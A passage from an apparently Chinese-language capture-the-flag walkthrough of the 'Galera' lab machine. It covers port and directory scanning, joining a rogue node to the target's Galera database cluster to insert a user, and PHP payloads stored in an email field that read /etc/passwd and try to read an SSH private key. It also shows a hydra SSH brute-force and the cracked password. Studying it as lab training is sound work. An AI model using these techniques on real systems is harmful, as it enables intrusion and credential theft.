f3:fa:a1:84:c6:da:fc:09:fe:aa:ca:ec:0a:29:7d:30 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINvTgWnXQRvN24haR+nU8va5KGiTjk6Zk6nC+5uJVZr2\n80\/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))\n|_http-server-header: Apache\/2.4.62 (Debian)\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Login\n4567\/tcp open tram? syn-ack ttl 64\n| fingerprint-strings: \n| RPCCheck: \n| \\x03\n| TerminalServerCookie: \n|_ (eI!\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port4567-TCP:V=7.95%I=7%D=6\/19%Time=68539B9F%P=x86_64-pc-linux-gnu%r(NU\nSF:LL,2C,"\\$\\0\\0\\x02\\xd9\\"\\x1b\\x08\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\\nSF:x97C;\\xb5%\\xbb~\\x9d\\xef\\x99\\xb2L\\xcb\\x11\\xf0\\x8e\\nK\\xa3\\xd2\\)U\\x7f")%r(\nSF:GetRequest,2C,"\\$\\0\\0\\x02\\x02\\xaa\\xe3\\xa1\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x1\nSF:1\\xf0\\x90\\x97C;\\xb5%\\xbb~\\x9f\\xdb\\xf6\\xf8L\\xcb\\x11\\xf0\\xac\\xfb\\xe6!Z\\x9\nSF:0\\xfeI")%r(GenericLines,2C,"\\$\\0\\0\\x02\\xecN6\\xfd\\0\\x01\\x10\\0A\\x10\/\\x92L\nSF:\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\x9f\\xe02\\xebL\\xcb\\x11\\xf0\\x83\\xf0w\\x04\nSF:\\x82D\\x0c6")%r(HTTPOptions,2C,"\\$\\0\\0\\x02\\xc2\\x87\\x81\\xda\\0\\x01\\x10\\0A\\\nSF:x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\xf1\/{L\\xcb\\x11\\xf0\\xbb\\xe\nSF:5\\xe6H\\x7f\\x1d\\x9d\\xb6")%r(RTSPRequest,2C,"\\$\\0\\0\\x02\\xac\\xa6v\\xb0\\0\\x0\nSF:1\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\xf3\\x16\\xa5L\\xcb\nSF:\\x11\\xf0\\xb1\\$\\xe3\\$\\xdf\\x93\\x83@")%r(RPCCheck,2C,"\\$\\0\\0\\x02\\xdc\\x93U8\nSF:\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\xf5\\+XL\\xcb\nSF:\\x11\\xf0\\xbb\\\\\\x03\\xfav\\x83y2")%r(DNSVersionBindReqTCP,2C,"\\$\\0\\0\\x02\\x\nSF:8b<\\x8f\\xcb\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\\nSF:xf7G\\\\L\\xcb\\x11\\xf0\\x8a;\\xfb\\)\\xa5\\x96r\\x18")%r(DNSStatusRequestTCP,2C,\nSF:"\\$\\0\\0\\x02P\\$\\xbd\\x20\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5\nSF:%\\xbb~\\xa1\\xf8\\x81\\xb2L\\xcb\\x11\\xf0\\x87\\x9c\\xc3\\x90\\|\\x98\\x91Y")%r(Help\nSF:,2C,"\\$\\0\\0\\x02\\xa4d\\x20t\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\\nSF:xb5%\\xbb~\\xa4\\t\\+-L\\xcb\\x11\\xf0\\x9d\\x14\/qD\\xe5\\*\\x87")%r(SSLSessionReq,\nSF:2C,"\\$\\0\\0\\x02\\xfdB\\xe8`\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\x\nSF:b5%\\xbb~\\xa6\\x1e\\x84\\x8eL\\xcb\\x11\\xf0\\x9e\\x88\\n\\xf0=\\xa9u\\xca")%r(Termi\nSF:nalServerCookie,2C,"\\$\\0\\0\\x02\\(eI!\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\\nSF:x90\\x97C;\\xb5%\\xbb~\\xa84\\xabpL\\xcb\\x11\\xf0\\x86\\.>\\x90\\xb3\\x9b\\[\\x81")%r\nSF:(TLSSessionReq,2C,"\\$\\0\\0\\x026\\x93qx\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\nSF:\\x90\\x97C;\\xb5%\\xbb~\\xa85\\xbd\\x8dL\\xcb\\x11\\xf0\\x8d\\xd8\\x03\\^\\xb6\\xa0\\xd\nSF:9_")%r(Kerberos,2C,"\\$\\0\\0\\x02\\xdb\\xea\\xff\\xc5\\0\\x01\\x10\\0A\\x10\/\\x92L\\x\nSF:cb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xaaL\\xb8\\xb9L\\xcb\\x11\\xf0\\x81\\xad\\xc6\\xf\nSF:5\\x8b\\(y\\x91")%r(SMBProgNeg,2C,"\\$\\0\\0\\x02\\$g\\x16j\\0\\x01\\x10\\0A\\x10\/\\x9\nSF:2L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xaaM\\xc4\\xa5L\\xcb\\x11\\xf0\\x8a\\xedS\\x\nSF:88\\x98\\x08\\xb8_");\nMAC Address: 08:00:27:A9:42:C1 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.10.101\/\n[+] Method: GET\n[+] Threads: 10\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Extensions: zip,php,txt,html\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php (Status: 403) [Size: 279]\n\/.html (Status: 403) [Size: 279]\n\/index.php (Status: 200) [Size: 825]\n\/login.php (Status: 302) [Size: 0] [--> \/]\n\/info.php (Status: 200) [Size: 77327]\n\/upload (Status: 301) [Size: 317] [--> http:\/\/192.168.10.101\/upload\/]\n\/private.php (Status: 403) [Size: 21]\n\/logout.php (Status: 302) [Size: 0] [--> index.php]\n\/config.php (Status: 200) [Size: 0]\n\/.html (Status: 403) [Size: 279]\n\/.php (Status: 403) [Size: 279]\n\/server-status (Status: 403) [Size: 279]\nProgress: 1102800 \/ 1102805 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
<\/div><\/p>\n\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff1a<\/p>\n
<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <title>Login<\/title>\n <link rel="stylesheet" href="style.css">\n<\/head>\n<body>\n<div class="container">\n <img src="galera.png" alt="Galera" class="galeraimg" >\n <h1>Login<\/h1>\n <form action="login.php" method="POST">\n <input type="hidden" name="token" value="024d439b4b82e1281893f0f84d9b8136faf1ad23b7d90350c34e0e5b815cdec8">\n <label for="user">Username:<\/label>\n <input type="text" name="user" id="user" required maxlength="50">\n\n <label for="pass">Password:<\/label>\n <input type="password" name="pass" id="pass" required>\n\n <button type="submit">Sign In<\/button>\n <\/form>\n<\/div>\n<\/body>\n<\/html><\/code><\/pre>\n\u654f\u611f\u76ee\u5f55<\/h3>\nhttp:\/\/192.168.10.101\/info.php<\/code><\/pre>\n<\/div>
\n<\/div><\/p>\n\u4f7f\u7528\u5de5\u5177\u68c0\u67e5\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ git clone https:\/\/github.com\/teambi0s\/dfunc-bypasser.git\nCloning into 'dfunc-bypasser'...\nremote: Enumerating objects: 30, done.\nremote: Total 30 (delta 0), reused 0 (delta 0), pack-reused 30 (from 1)\nReceiving objects: 100% (30\/30), 272.53 KiB | 74.00 KiB\/s, done.\nResolving deltas: 100% (6\/6), done.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ cd dfunc-bypasser \n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera\/dfunc-bypasser]\n\u2514\u2500$ python2 dfunc-bypasser.py --url http:\/\/192.168.10.101\/info.php \n\n ,---, \n .' .' `\\ \n ,---.' \\ \n | | .`\\ | \n : : | ' | \n | ' ' ; : \n ' | ; . | \n | | : | ' \n ' : | \/ ; \n | | '` ,\/ \n ; : .' \n | ,.' \n '---' \n\n authors: __c3rb3ru5__, $_SpyD3r_$\n\nPlease add the following functions in your disable_functions option: \npcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,error_log,system,shell_exec,popen,proc_open,passthru,link,symlink,syslog,ld,mail\nIf PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket<\/code><\/pre>\n\u53d1\u73b0\u4e86\u4e00\u4e9b\u6709\u610f\u601d\u7684\u547d\u4ee4\uff0c\u5148\u4e0d\u7ba1\u3002<\/p>\n
\u654f\u611f\u7aef\u53e3<\/h3>\n
\u6ce8\u610f\u5230\u4e00\u4e2a4567<\/code>\u7aef\u53e3\uff0c\u770b\u4e00\u4e0b\u5565\u4e1c\u897f\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ nc $IP 4567 \n$\ufffd\ufffd\ufffdcA\/\ufffdL\ufffd\ufffdC;\ufffd%\ufffd~\ufffd\ufffd\ufffd\ufffdL\ufffd\ufffdCz\ufffd3LB<\/code><\/pre>\n\u5c1d\u8bd5\u641c\u7d22\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\n\u5728 Galera Cluster\uff08\u4e00\u79cd\u7528\u4e8e MySQL\/MariaDB \u7684\u540c\u6b65\u591a\u4e3b\u96c6\u7fa4\u67b6\u6784\uff09\u4e2d\uff0c4567 \u7aef\u53e3\u662f\u96c6\u7fa4\u8282\u70b9\u95f4\u901a\u4fe1\u7684\u6838\u5fc3\u7aef\u53e3<\/strong><\/p>\n4567 \u7aef\u53e3\u662f Galera Cluster \u7684\u201c\u4e2d\u67a2\u795e\u7ecf\u201d<\/strong>\uff0c\u8d1f\u8d23\uff1a
\n\u2705 \u8282\u70b9\u72b6\u6001\u540c\u6b65<\/strong>\uff08\u6210\u5458\u7ba1\u7406\uff09\u3001
\n\u2705 \u6570\u636e\u590d\u5236<\/strong>\uff08\u4e8b\u52a1\u5e7f\u64ad\u4e0e\u51b2\u7a81\u68c0\u6d4b\uff09\u3001
\n\u2705 \u6d41\u91cf\u63a7\u5236<\/strong>\uff08\u9632\u961f\u5217\u6ea2\u51fa\uff09<\/p>\n<\/blockquote>\n\u521b\u5efa\u8282\u70b9\u52a0\u5165\u96c6\u7fa4<\/h3>\n
\u53ef\u4ee5\u5c1d\u8bd5\u52a0\u5165Galera<\/code>\u96c6\u7fa4\u4e2d\uff0c\u641c\u96c6\u4fe1\u606f\uff0c\u5177\u4f53\u6b65\u9aa4\u53c2\u8003https:\/\/mariadb.com\/docs\/galera-cluster\/galera-cluster-quickstart-guides\/mariadb-galera-cluster-guide\uff1a<\/p>\n# sudo apt install rsync\n\n# sudo apt update\n# sudo apt install dirmngr software-properties-common apt-transport-https ca-certificates curl -y\n# curl -LsS https:\/\/r.mariadb.com\/downloads\/mariadb_repo_setup | sudo bash\n# sudo apt update\n\n# sudo apt install mariadb-server mariadb-client galera-4 -y # For MariaDB 10.4+ or later, galera-4 is the provider.\n # For older versions (e.g., 10.3), use galera-3. \n\n# sudo vim \/etc\/mysql\/conf.d\/mysql.cnf\n[mysqld]\n# Basic MariaDB settings\nbinlog_format=ROW\ndefault_storage_engine=InnoDB\ninnodb_autoinc_lock_mode=2\nbind-address=0.0.0.0 # Binds to all network interfaces. Adjust if you have a specific private IP for cluster traffic.\n\nwsrep_sst_method = rsync\n# Galera Provider Configuration\nwsrep_on=ON\nwsrep_provider=\/usr\/lib\/galera\/libgalera_smm.so # Adjust path if different (e.g., \/usr\/lib64\/galera-4\/libgalera_smm.so)\n\n# Galera Cluster Configuration\n# wsrep_cluster_name="my_galera_cluster" # A unique name for your cluster\n\n# IP addresses of ALL nodes in the cluster, comma-separated.\n# Use private IPs if available for cluster communication.\nwsrep_cluster_address="gcomm:\/\/192.168.10.101:4567"\n\n# This node's specific configuration\nwsrep_node_name="kali" # Must be unique for each node (e.g., node1, node2, node3)\nwsrep_node_address="192.168.10.107" # This node's own IP address\n\n# sudo systemctl stop mariadb # Ensure it's stopped\n# sudo galera_new_cluster # This command often wraps the systemctl start --wsrep-new-cluster\n # Alternatively: sudo systemctl start mariadb --wsrep-new-cluster\n\n# sudo systemctl start mariadb<\/code><\/pre>\n\u7136\u540e\u67e5\u770b\u672c\u5730\u6570\u636e\u5e93\uff0c\u53d1\u73b0\u591a\u4e86\u4e1c\u897f\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ sudo mysql -u root -p\n[sudo] password for kali: \nerror: Found option without preceding group in config file: \/etc\/mysql\/conf.d\/mysql.cnf at line: 2\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 21\nServer version: 11.8.1-MariaDB-4 Debian n\/a\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nSupport MariaDB developers by giving a star at https:\/\/github.com\/MariaDB\/server\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| galeradb |\n| information_schema |\n| mysql |\n| performance_schema |\n| sys |\n+--------------------+\n5 rows in set (0.001 sec)\n\nMariaDB [(none)]> use galeradb;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [galeradb]> show tables;\n+--------------------+\n| Tables_in_galeradb |\n+--------------------+\n| users |\n+--------------------+\n1 row in set (0.001 sec)\n\nMariaDB [galeradb]> select * from users;\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| id | username | email | password | created_at |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 19:55:51 |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n1 row in set (0.001 sec)<\/code><\/pre>\n\u53d1\u73b0\u57df\u540d\u89e3\u6790galera.hmv<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff0c\u4f46\u662f\u4e00\u65f6\u7206\u7834\u4e0d\u51fa\u6765\uff0c\u53d1\u73b0\u52a0\u5bc6\u65b9\u5f0f\u4e3abcrypt<\/code>\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ hashid '$2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq'\nAnalyzing '$2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq'\n[+] Blowfish(OpenBSD) \n[+] Woltlab Burning Board 4.x \n[+] bcrypt<\/code><\/pre>\n\u53ef\u4ee5\u5c1d\u8bd5\u6dfb\u52a0\u65b0\u7528\u6237\uff1a<\/p>\n
<\/div><\/p>\n\u5728\u5b98\u65b9\u53c2\u8003\u6587\u732e\uff08\u4e0a\u9762\u5217\u51fa\u6765\u7684\u90a3\u4e2a\uff09\u53ef\u4ee5\u770b\u5230\u6dfb\u52a0\u8868\u7684\u64cd\u4f5c\uff1a<\/p>\n
INSERT INTO users (username, email, password) VALUES ('kali','kali@kali.com','$2a$10$lBkx\/QAR0T75039NmhGDOOlchPIIncXIB6YEWVg\/J5dZc1icsxZZq');\n# \u5982\u679c\u6dfb\u52a0\u9519\u4e86\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u5220\u9664\n# DELETE FROM users WHERE username = 'kali';<\/code><\/pre>\n<\/div><\/p>\n\u7136\u540e\u9000\u51fa\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\u3002<\/p>\n
<\/div>
\n<\/div><\/p>\nemmmmmm\u3002\u3002\u3002\u3002\u91cd\u542f\u9776\u673a\u4e5f\u4e0d\u80fd\u89e3\u51b3\u95ee\u9898\uff0c\u5c1d\u8bd5\u91cd\u542f\u76f8\u5173\u670d\u52a1\uff1a<\/p>\n
flush privileges;<\/code><\/pre>\n\u7136\u540e\u91cd\u542f\u670d\u52a1\u3002<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ sudo systemctl restart mariadb\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ sudo mysql -u root -p \nerror: Found option without preceding group in config file: \/etc\/mysql\/conf.d\/mysql.cnf at line: 2\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 9\nServer version: 11.8.1-MariaDB-4 Debian n\/a\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nSupport MariaDB developers by giving a star at https:\/\/github.com\/MariaDB\/server\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> use galeradb;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [galeradb]> select * from users;\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| id | username | email | password | created_at |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 19:55:51 |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n1 row in set (0.003 sec)<\/code><\/pre>\n\u6211\u52d2\u4e2a\u8c46\u8c46\u8c46\u8c46\u8c46\u8c46\u554a\u3002\u3002\u3002\u3002\u3002\u3002\u91cd\u65b0\u6dfb\u52a0\u7528\u6237\u6210\u529f\u8fdb\u5165\uff1a<\/p>\n
<\/div><\/p>\n\u6587\u4ef6\u5305\u542b\u83b7\u53d6\u7528\u6237\u540d<\/h3>\n
\u5c1d\u8bd5\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n
<\/div><\/p>\n\u53ef\u4ee5\u53d1\u73b0\u672a\u6267\u884c\u547d\u4ee4\uff0c\u5e76\u4e14\u51fa\u73b0\u4e86\u90ae\u7bb1\uff0c\u4e0d\u77e5\u9053\u8fd9\u91cc\u662f\u4e0d\u662f\u4e00\u79cd\u63d0\u793a\uff0c\u5c1d\u8bd5\u5c06\u90ae\u7bb1\u6539\u4e3ashell\uff0c\u8fdb\u884c\u5229\u7528\uff0c\u5e76\u4e14\u7ed3\u5408\u4e0a\u9762disable_function<\/code>\uff1a<\/p>\nMariaDB [galeradb]> UPDATE users SET email="<?php system('whoami'); ?>" WHERE username='kali';\nQuery OK, 1 row affected (0.344 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nMariaDB [galeradb]> select * from users;\n+----+----------+----------------------------+--------------------------------------------------------------+---------------------+\n| id | username | email | password | created_at |\n+----+----------+----------------------------+--------------------------------------------------------------+---------------------+\n| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 19:55:51 |\n| 13 | kali | <?php system('whoami'); ?> | $2a$10$lBkx\/QAR0T75039NmhGDOOlchPIIncXIB6YEWVg\/J5dZc1icsxZZq | 2025-06-19 10:00:17 |\n+----+----------+----------------------------+--------------------------------------------------------------+---------------------+\n2 rows in set (0.001 sec)\n\nMariaDB [galeradb]> flush privileges;\nQuery OK, 0 rows affected (0.170 sec)<\/code><\/pre>\n<\/div><\/p>\n\u53d1\u73b0\u5e76\u672a\u6539\u53d8\uff0c\u91cd\u542f\u670d\u52a1\u53d1\u73b0\u786e\u5b9e\u751f\u6548\u4e86\uff0c\u4f46\u662f\u5e76\u672a\u6267\u884c\u547d\u4ee4\uff0c\u56de\u5934\u770b\u4e00\u4e0b\u53d1\u73b0system<\/code>\u88ab\u7981\u7528\u4e86\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6587\u4ef6\u5305\u542b\uff0c\u8fd9\u662f\u5141\u8bb8\u7684\uff1a<\/p>\nUPDATE users SET email='<?php include("\/etc\/passwd"); ?>' WHERE username='kali';<\/code><\/pre>\n\u4f46\u662f\u4e00\u76f4\u65e0\u6cd5\u6267\u884c\u547d\u4ee4\uff0c\u91cd\u65b0\u767b\u5f55\u53d1\u73b0\u90ae\u7bb1\u53d8\u4e86\uff1a<\/p>\n
<\/div><\/p>\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:998:998:systemd Network Management:\/:\/usr\/sbin\/nologin\nmessagebus:x:100:107::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:101:65534::\/run\/sshd:\/usr\/sbin\/nologin\ndonjuandeaustria:x:1000:1000:donjuandeaustria,,,:\/home\/donjuandeaustria:\/bin\/bash\nmysql:x:102:110:MySQL Server,,,:\/nonexistent:\/bin\/false<\/code><\/pre>\n\u5c1d\u8bd5\u5305\u542b\u5176\u79c1\u94a5\uff1a<\/p>\n
UPDATE users SET email='<?php include("\/home\/donjuandeaustria\/.ssh\/id_rsa"); ?>' WHERE username='kali';\n# Warning: include(\/home\/donjuandeaustria\/.ssh\/id_rsa): Failed to open stream: Permission denied in \/var\/www\/html\/messages.log on line 5\n# Warning: include(): Failed opening '\/home\/donjuandeaustria\/.ssh\/id_rsa' for inclusion (include_path='.:\/usr\/share\/php') in \/var\/www\/html\/messages.log on line 5<\/code><\/pre>\n\u7206\u7834\u5bc6\u7801<\/h3>\n
\u7981\u7528\u7684\u51fd\u6570\u592a\u591a\u4e86\uff0c\u6211\u539f\u4ee5\u4e3a\u6ca1\u7981\u7528\u7684\u51fd\u6570\u90fd\u7981\u7528\u4e86\uff0c\u5c31\u4e0d\u5934\u94c1\u4e86\uff0c\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ hydra -l donjuandeaustria -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/$IP:22 \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-06-19 10:48:53\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/192.168.10.101:22\/\n[STATUS] 207.00 tries\/min, 207 tries in 00:01h, 14344198 to do in 1154:56h, 10 active\n[22][ssh] host: 192.168.10.101 login: donjuandeaustria password: amorcito\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 6 final worker threads did not complete until end.\n[ERROR] 6 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-06-19 10:51:38<\/code><\/pre>\n\u83b7\u5f97\u5bc6\u7801amorcito<\/code>\uff1a<\/p>\n<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\ndonjuandeaustria@galera:~$ whoami;id\ndonjuandeaustria\nuid=1000(donjuandeaustria) gid=1000(donjuandeaustria) groups=1000(donjuandeaustria),5(tty),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)\ndonjuandeaustria@galera:~$ ls -la\ntotal 2056\ndrwx------ 2 donjuandeaustria donjuandeaustria 4096 May 8 00:12 .\ndrwxr-xr-x 3 root root 4096 May 4 19:17 ..\nlrwxrwxrwx 1 donjuandeaustria donjuandeaustria 9 May 7 23:04 .bash_history -> \/dev\/null\n-rw-r--r-- 1 donjuandeaustria donjuandeaustria 220 May 4 19:17 .bash_logout\n-rw-r--r-- 1 donjuandeaustria donjuandeaustria 3558 May 7 23:48 .bashrc\n-rw-r----- 1 root tty 2074781 May 8 00:04 donjuandeaustria.png\n-rw------- 1 donjuandeaustria donjuandeaustria 20 May 8 00:12 .lesshst\n-rw-r--r-- 1 donjuandeaustria donjuandeaustria 807 May 4 19:17 .profile\n-rw-r----- 1 root donjuandeaustria 33 May 7 21:20 user.txt\ndonjuandeaustria@galera:~$ cat user.txt \n072f9d8c26547db59e65d7aa3e55747b\ndonjuandeaustria@galera:~$ cat \/etc\/group | grep tty\ntty:x:5:donjuandeaustria<\/code><\/pre>\n\u540c\u7ec4\u6709\u76f8\u5173\u6743\u9650\uff0c\u5c1d\u8bd5\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u4f46\u662f\u53d1\u73b0\u5f88\u591a\u5de5\u5177\u90fd\u6ca1\u6709\uff1a<\/p>\n
donjuandeaustria@galera:~$ python3 -m http.server 8888\n-bash: python3: command not found\ndonjuandeaustria@galera:~$ python -m http.server 8888\n-bash: python: command not found\ndonjuandeaustria@galera:~$ whereis python\npython:\ndonjuandeaustria@galera:~$ whereis nc\nnc:\ndonjuandeaustria@galera:~$ whereis busybox\nbusybox: \/usr\/bin\/busybox \/usr\/share\/man\/man1\/busybox.1.gz<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u4f20\u8f93\u6587\u4ef6\uff1a<\/p>\n
# attacked \ndonjuandeaustria@galera:~$ busybox httpd -f -p 1234 -h . < donjuandeaustria.png<\/code><\/pre>\n# kali\nwget http:\/\/192.168.10.101:1234\/donjuandeaustria.png -O donjuandeaustria.png<\/code><\/pre>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ exiftool donjuandeaustria.png \nExifTool Version Number : 13.25\nFile Name : donjuandeaustria.png\nDirectory : .\nFile Size : 2.1 MB\nFile Modification Date\/Time : 2025:05:08 00:04:51-04:00\nFile Access Date\/Time : 2025:06:19 10:59:48-04:00\nFile Inode Change Date\/Time : 2025:06:19 10:59:48-04:00\nFile Permissions : -rw-rw-r--\nFile Type : PNG\nFile Type Extension : png\nMIME Type : image\/png\nImage Width : 1024\nImage Height : 1024\nBit Depth : 8\nColor Type : RGB\nCompression : Deflate\/Inflate\nFilter : Adaptive\nInterlace : Noninterlaced\nJUMD Type : (c2pa)-0011-0010-800000aa00389b71\nJUMD Label : c2pa\nActions Action : c2pa.created, c2pa.converted\nActions Software Agent Name : GPT-4o, 